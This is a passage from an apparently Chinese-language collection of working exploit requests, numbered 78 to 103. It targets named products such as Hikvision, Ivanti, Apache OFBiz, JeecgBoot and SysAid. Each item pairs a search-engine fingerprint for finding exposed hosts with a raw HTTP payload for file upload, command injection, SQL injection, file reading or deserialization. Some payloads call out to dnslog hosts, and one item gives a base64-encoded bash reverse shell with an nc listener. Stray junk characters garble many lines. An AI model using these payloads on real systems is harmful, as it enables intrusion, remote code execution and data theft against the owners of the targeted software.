8 D; @5 r# S' n- ?$ g1 l" p# i, S' ]------------398jnjVTTlDVXHlE7yYnfwBoix
6 [/ b1 L/ d( @6 c# E9 ]* K: k- RContent-Disposition: form-data; name="Filedata"; filename="1.aspx"
' V$ X  Y/ n! V1 E/ {Content-Type: application/octet-stream
# m% W" W2 O. H' d- O- z" @+ D6 r; {. {
hello1234567
, h6 E4 u; u3 J8 N, z  M/ ^% t/ a. ~7 w------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
( ^: u+ ]8 f" H% e8 q& r2 j* x: F
" K8 A( d- C4 f: x* S, }Submit Query
" m; V& |. w. J  w8 F------------398jnjVTTlDVXHlE7yYnfwBoix--
$ E  n$ k! o6 D% y$ B+ U4 m* t" F* q

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
6 C0 ^% J2 @6 f0 }% [5 n3 XPOST /Platform/System/FileUpload.ashx HTTP/1.1
! e$ f: C7 w" }6 W2 N* ~, }- yHost: x.x.x.x
' k( ?2 K7 t$ s. g: [  RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* K6 h: K0 q& \# H3 M* c+ F. eConnection: close
* D4 x/ A& S0 iContent-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
7 k$ C7 a$ R0 w- Z0 Z
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
) i  m" ~: V7 Z) K# K
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
6 o5 q# V) K/ o, `Content-Disposition: form-data; name="target"
0 _; H2 Y$ O9 ~: {- L6 {1 m' v( a
* H8 L, T' \& R% i/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

) m) _; T" _7 F# B2 H
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x


) t* B  |9 g3 ^: J: a6 f6 [/ j' D79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 G+ Y' \' J. W7 ?, \! u% N$ ?% ZAccept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
5 ^- T& C5 k' V/ t# P
2 E, o3 C: d% Q5 w& j: T2 A
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
- D1 }$ y- x/ x$ I$ Y# hFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
: P. t% l7 w. V2 MHost: x.x.x.x
' Y- e4 }( G5 G4 z! {! }* hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  }  X# y, O) u4 |" L1 E6 ^. tContent-Length: 27
0 r" G$ i& H. AAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
- n! l8 p* S  L4 k3 [6 RAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1
% ^( ~' l9 \; R( {8 _4 o
<% out.print("oessqeonylzaf");%>


GET /xykqmfxpoas.jsp HTTP/1.1
; l  S0 ^3 I2 k( YHost: x.x.x.x
5 Z( f4 K# z/ Z* ]2 KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! G" N( P7 R/ S+ f- h& WConnection: close
" \& x  ]* B7 V- _Accept-Encoding: gzip
6 g/ v1 Q% V, A* c# A/ X. J/ Q
! j. E1 H  W/ X# E* d* }8 u
& }8 |2 B& ^- u5 {2 C81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
( o$ W' P$ C& {: ~GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

) E9 U0 Q! i# i  H' v/ V
4 h! _, A8 z- E2 J8 y3 F& x82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
2 e, o2 c1 Q  wUser-Agent: Go-http-client/1.1
Content-Length: 23
# U2 I" C  z7 {. _. k5 |$ |Accept-Encoding: gzip
. s. P4 S- k, }. G; WConnection: close
' f/ g' S4 W7 m" }8 |Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
6 Q' f& o8 ^. S* M9 C' Q

83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
$ |3 i4 w. y4 d" s- c- ]# U9 @* {

POST /jmreport/testConnection HTTP/1.1
; r- ^) V- E  U2 F2 f8 dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  X5 X5 M8 s; g+ U0 r: rContent-Length: 8881
7 ], z9 i: I7 F6 s$ EAccept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
: T! M7 q; ?8 x& m4 m# rContent-Type: application/json
7 H. \$ r4 ~: v1 v4 D
PAYLOAD

/ L( K8 I* M2 T4 u84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
% n  }+ Q+ A9 Z. H


POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
2 t; N. P- ]6 u( H- E- ZUser-Agent: curl/7.88.1
Content-Length: 156
# v7 B0 |7 |' J# Y$ s. X" ZAccept: */*
" z% y& p* r* A. DConnection: close
+ O4 B+ Z$ ?7 R" }3 jContent-Type: application/json
2 N6 Z' U! ^0 H/ FAccept-Encoding: gzip
/ t7 a( g  X, }4 X% z
{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
7 C7 T/ S8 H: V7 I3 r" G6 d  "type": "0"
}

( }! B9 y% ?! Q0 W) }) f
85. SysAid On-premise< 23.3.36远程代码执行
! f% f$ H* N7 G$ L" QCVE-2023-47246
# H- a! Q  }+ ?6 ^$ EFOFA：body="sysaid-logo-dark-green.png"
! b. u; Y8 b3 q2 |3 K, BEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& [) z5 ^+ Y) x# R* BContent-Type: application/octet-stream
Accept-Encoding: gzip
, y2 ]5 q6 @$ G
2 y5 c# W: b( J. r) h1 m, dPAYLOAD

/ r8 p6 Z8 N6 D# U# p" \回显URL：http://x.x.x.x/userfiles/index.jsp
" D" R1 v$ E! e$ U: [0 D
, w  O+ [. {( u: h( {8 Y/ r% e86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
5 o! {2 S6 V' l. r7 [+ x7 J7 E7 k4 VUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
7 W" I" p" E# ~7 p0 K6 U( A: aContent-Length: 44
) X! G2 [( ^8 q& I& k* j3 O  H0 O3 h9 hAccept: */*
6 S6 a' L5 G) f) vAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

# B" S6 k/ s& O3 N' ^6 m, B: chost=%0acat${IFS}/etc/passwd%0a&command=ping


87. 安恒明御安全网关aaa_local_web_preview文件上传
0 L2 k3 ?# [2 q- hFOFA：title="明御安全网关"
2 G% Z2 R) V  A* [1 bPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# j3 H- N/ `. \! ]$ _8 e: tContent-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

6 I$ a' X2 Y* y" c- w--qqobiandqgawlxodfiisporjwravxtvd
3 e! m4 A! r3 J6 G8 `' ^: {  a5 XContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
+ e2 Q! W  P. w) ]
+ ]7 z6 m6 @7 x8 t2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--

. f: K* y# F, p$ O
/jfhatuwe.php

8 j7 P4 n+ o: Z7 V. x, R88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
: q: J+ W8 p, A2 JGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
7 |9 o( y9 b# X8 I0 ^Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 s& r% h5 ?& DConnection: close
) {# `9 t: g: F1 g( J4 ^( W1 E

/astdfkhl.php
' A2 G- M, K& t9 g1 Q
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
. @( p& {. Z8 l+ U% I+ NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
  r1 f0 \$ B- j6 Z4 a% gConnection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) k# {% |% t1 hoption=2&GUID=-1'+union+select+111*222--+


90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
8 f0 Y0 J( F% x8 W0 Y  c' EFOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
5 |: l, I; f! x; w2 m+ U- hHost: x.x.x.x
$ u+ r0 @7 |* S1 j1 r; ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
; O$ f" C2 ^" D& cAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
! J/ |3 D1 m4 \: e1 y) Q) TX-Requested-With: XMLHttpRequest
# ]. `; r7 R/ |7 R# I) r4 q0 P( M
: p8 C  K: K, c8 gjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


% S  _( n6 f& _4 V) }5 A91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
0 ?5 z- m% q2 `& zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
/ Z6 E5 y9 M5 B4 t2 A2 _Connection: keep-alive
4 {6 q( }8 }% ?: @' d+ S


9 @# A8 X, s- \- o/ L, M: |92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
  S9 ]5 X* i' U7 |  R( j' O7 bPOST /center/api/session HTTP/1.1
Host:
Accept: application/json, text/plain, */*
% A+ y; q! ~8 _" K# D; i* bAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
4 [9 v/ c* @6 ^5 ~, `1 }2 RContent-Type: application/json;charset=UTF-8
- ~" U* @! l3 L: DX-Language-Type: zh_CN
Testcmd: echo test
3 p7 ^' q3 U* q' ]4 R! dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
/ N, I' S6 V9 M4 cAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
; a0 S' S3 z7 I9 G# Q3 _7 W1 L
8 y2 \) d$ _' q, APAYLOAD


6 V6 L: @. U" M+ f  U# O93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
5 h( g' E9 D* h* H7 a# z; }( W7 XFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
1 F. c) L* Z- `& j0 s6 RUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- I8 K3 w6 M( s
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

% v; m& h6 j5 I* u$ S10000000
0 O6 Q4 w: O' i9 `6 h------WebKitFormBoundarykcbkgdfx
( f# u- n8 E0 z3 d& C8 cContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
+ C/ b( _+ X' J# H5 R6 W
wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
3 T( _* Q  e( i+ w* eContent-Disposition: form-data; name="submit_post"
9 U" d9 t) ^/ L' Z8 `- g3 m
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
# m1 H7 y/ J+ O
: U- J7 N8 N- Z3 D0b9d6b1ab7479ab69d9f71b05e0e9445
2 x( X. ?) f% t------WebKitFormBoundarykcbkgdfx--
" @# J% x% K3 @/ D: h; [; F
% n* r( X: j$ B# H* j; D
GET /attachements/xlskxknxa.txt HTTP/1.1
( _7 Z4 _3 w! |: a+ NHost: xx.xx.xx.xx
* s, ^3 V. f! _! H9 \: S7 NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 k, d- r7 {/ `1 ^0 \
: S) ^( y0 [6 h: A' {- O0 U0 r
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
9 Z7 _7 L. R' Q2 uPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
. V9 j9 j* j/ L8 |8 cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
( x+ G2 R  g2 [  o. x
. `6 z9 y0 c6 Y, x, F$ Y------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1 s6 Y1 K8 b% Q% j# P6 l
7 q7 }6 `1 h' {+ m0 |10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
$ i9 o  y7 H' @; L3 G4 n+ P3 ZContent-Type: text/plain
! v$ Q% c$ H5 ]5 a1 ?3 _+ D
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
# v" e/ w3 ^, s; Z. X. w6 J4 o: zContent-Disposition: form-data; name="submit_post"

) S1 l2 \, b! U& pobj_app_upfile
; T) Q5 ^! b5 f2 ^2 ~) @------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
( I" e4 \& H5 |7 C0 ]: s% _" L
. P" p3 Y, B2 D1 e1 x0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

! H& ]. j/ I- J9 ]# ^
0 g+ j# h3 o1 `" d
GET /attachements/xlskxknxa.txt HTTP/1.1
/ Y  B; Q/ K7 [* I  R9 h- dHost: xx.xx.xx.xx
2 D. l9 l# e) E, A3 _. h9 BUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) q7 P0 C% R& E9 a7 g7 w
, O& t/ `/ J4 @0 K: o! l# K
; O$ Z7 T! Q( _5 X# S$ ^' D
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
7 }" [4 P' S+ W- [Host: x.x.x.x
4 Z2 P1 _/ t. G5 N. c/ yUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
3 u4 ^- J1 ~& {7 iContent-Type: application/xml
Accept-Encoding: gzip
# V: h4 t$ b  a& d
<?xml version="1.0"?>
<methodCall>
9 I5 L& y) e( n2 ^# n   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
4 @1 R9 u( _5 p  l' c5 e: c    <params>
      <param>
/ l; n/ ^; D+ m5 k      <value>
" ^8 W7 Y) a: n) \! F        <struct>
       <member>
          <name>test</name>
" U" ^% A3 G8 o          <value>
7 Y8 g) j% G7 z# T& w* H; u      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
5 p7 @5 V( N- R, t9 x        </member>
  d, Y& {& y2 S7 y      </struct>
! E6 C! h% {2 q2 G: ^( l      </value>
# [; L  U: }# e% ]" Q& ]! y7 f    </param>
    </params>
# A9 I/ i8 @( Q, y) d, @+ V+ s# w</methodCall>

3 Z0 @8 `+ j+ A# ]
  X" w: g) |6 k; y用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

8 h9 t; Z# Y5 g* q
5 v# r! C; M% k6 e# X* h将生成的payload替换到上面的POC
+ x! n! C+ f+ h" Y4 y# a% ~POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
: @/ Z3 H+ N9 g9 _User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
9 C5 v" `0 k7 l' q* A, r, HContent-Type: application/xml
: o4 M# f1 e8 p  VAccept-Encoding: gzip
" d! F% p; z; W' i# O
( ?; P" p" \; A1 fPAYLOAD

% t. V4 x# H! Z- @( I! H3 H96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
. B( L$ b2 {' l* kHost: localhost:8443
5 g0 z/ n; t7 g/ u" QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
3 N. E$ G! Q9 F% |- r: Z! F( d; dAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" C( C! y; Y1 }Content-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);

7 ]2 V3 D2 }4 R' D
; i  O8 _* l! P反弹shell
  v% L% F  z/ q/ e0 ?1 n在kali上启动一个监听
nc -lvp 7777

( c  J) L8 }3 ?! ~6 j$ A, ~' c; @POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
2 R0 j0 i( z) n( E: [. qHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
( T/ D% E7 {; QAccept: */*
8 q  Q" P/ J( h1 R- WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 t8 f) Q$ L- O" G4 {6 X3 ~) fContent-Type: application/x-www-form-urlencoded
Content-Length: 71
0 A: I6 {# X+ W( m6 F
8 L0 [0 I9 U& {7 O7 agroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

$ J8 J$ m8 q* d1 O97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
- S* ]1 X9 e; n: E8 BFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
8 C/ j: t' H% z# }* s  `3 lGET /passport/login/ HTTP/1.1
) H9 p3 v  t/ |/ Q+ E' U" OHost: 192.168.40.130:8085
4 `" [- P, u4 x3 w* y* [# M/ [. gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
. v7 s  X2 N& Y, MCookie: rememberMe=PAYLOAD
* t) T/ o) A7 e* `. PX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

* l& }) c& |: w2 n* A8 _9 i# I+ @
* y% J' ?+ j+ U2 r9 j98. SpiderFlow爬虫平台远程命令执行
) ]$ E( Q% Y) M' x& _, `CVE-2024-0195
1 v2 u, B7 w- ]; a. HFOFA：app="SpiderFlow"
POST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 N, Y' ?0 i: T5 o3 N- P+ c/ RConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 V2 \2 w# Z0 @Content-Type: application/x-www-form-urlencoded; charset=UTF-8
: J+ u* N6 I5 w) UX-Requested-With: XMLHttpRequest
, }( P5 n% A0 c
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
* _9 _; M5 e1 n1 E5 t

* T0 f8 F3 Z# C; h99. Ncast盈可视高清智能录播系统busiFacade RCE
4 r0 g2 s/ Z' {CVE-2024-0305
, G$ R9 c/ d/ k; R) \0 {FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
$ C* i( _2 g$ c" I! O2 P# f" zHost: 192.168.40.130:8080
4 D8 B' s- k% E( {3 KUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
/ s1 _# s% ?6 [( t% pContent-Length: 154
Accept: */*
: Q# h6 E+ i4 ^6 _Accept-Encoding: gzip, deflate
( i% L% q- Q) {2 u+ R8 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 v0 @0 d; b1 [Content-Type: application/x-www-form-urlencoded; charset=UTF-8
) K: ~- [* [  Y1 Q! j/ M% ]5 {X-Requested-With: XMLHttpRequest
' `! W. q  ^6 g  i. f& l. Y
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
" j/ f6 I) H$ g4 `5 V( xFOFA：icon_hash="874152924"
. D: L% k0 o$ n$ Y8 |* w# y, C- S) {POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
& ~; ^+ i% R; L$ @5 }3 j9 oConnection: close
- p1 N4 ]) ^# d, d, fContent-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
: Z6 F: t. P0 a" z) `7 r' \+ V$ ZAccept-Encoding: gzip
+ L- _  B: F- |
4 s; ], d, s. s" C------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
7 ^+ M: x+ h5 o- @3 p2 h
4 p% H% o2 P+ Q) J5 Y9 l7 a  h2ayyhRXiAsKXL8olvF5s4qqyI2O
6 z% [- C5 s* |- N------WebKitFormBoundarygcflwtei--

; x0 m& D% v: {6 R
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ o" X* i* `- X' _/ x4 O$ ]8 vConnection: close
Accept-Encoding: gzip
; e' J" f* C1 w2 L2 w

' Z9 p- s: N5 `. }. r5 x) e102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
  ?5 Z9 o9 G/ F5 _CVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
9 S& s4 n4 [1 ^9 z  XPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
( D( a8 ^* R8 d4 R0 X# C$ o) a- G! y9 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
+ S2 X; w- f; C/ [/ G. G, D% uConnection: close
Content-Length: 792
Accept-Encoding: gzip

/ j: ~, z: M9 H4 j<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
! ?) h$ \9 W" m, {" Y0 Z! m: T
103. Ivanti Pulse Connect Secure VPN XXE
  ?3 z8 z: E+ B" y9 SCVE-2024-22024
& Z. e- h2 D; {6 RFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
( i" A9 [: q/ t/ K8 o* \/ h; S9 ]5 FUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
% q6 o* _% A7 _6 i6 r/ BAccept-Encoding: gzip

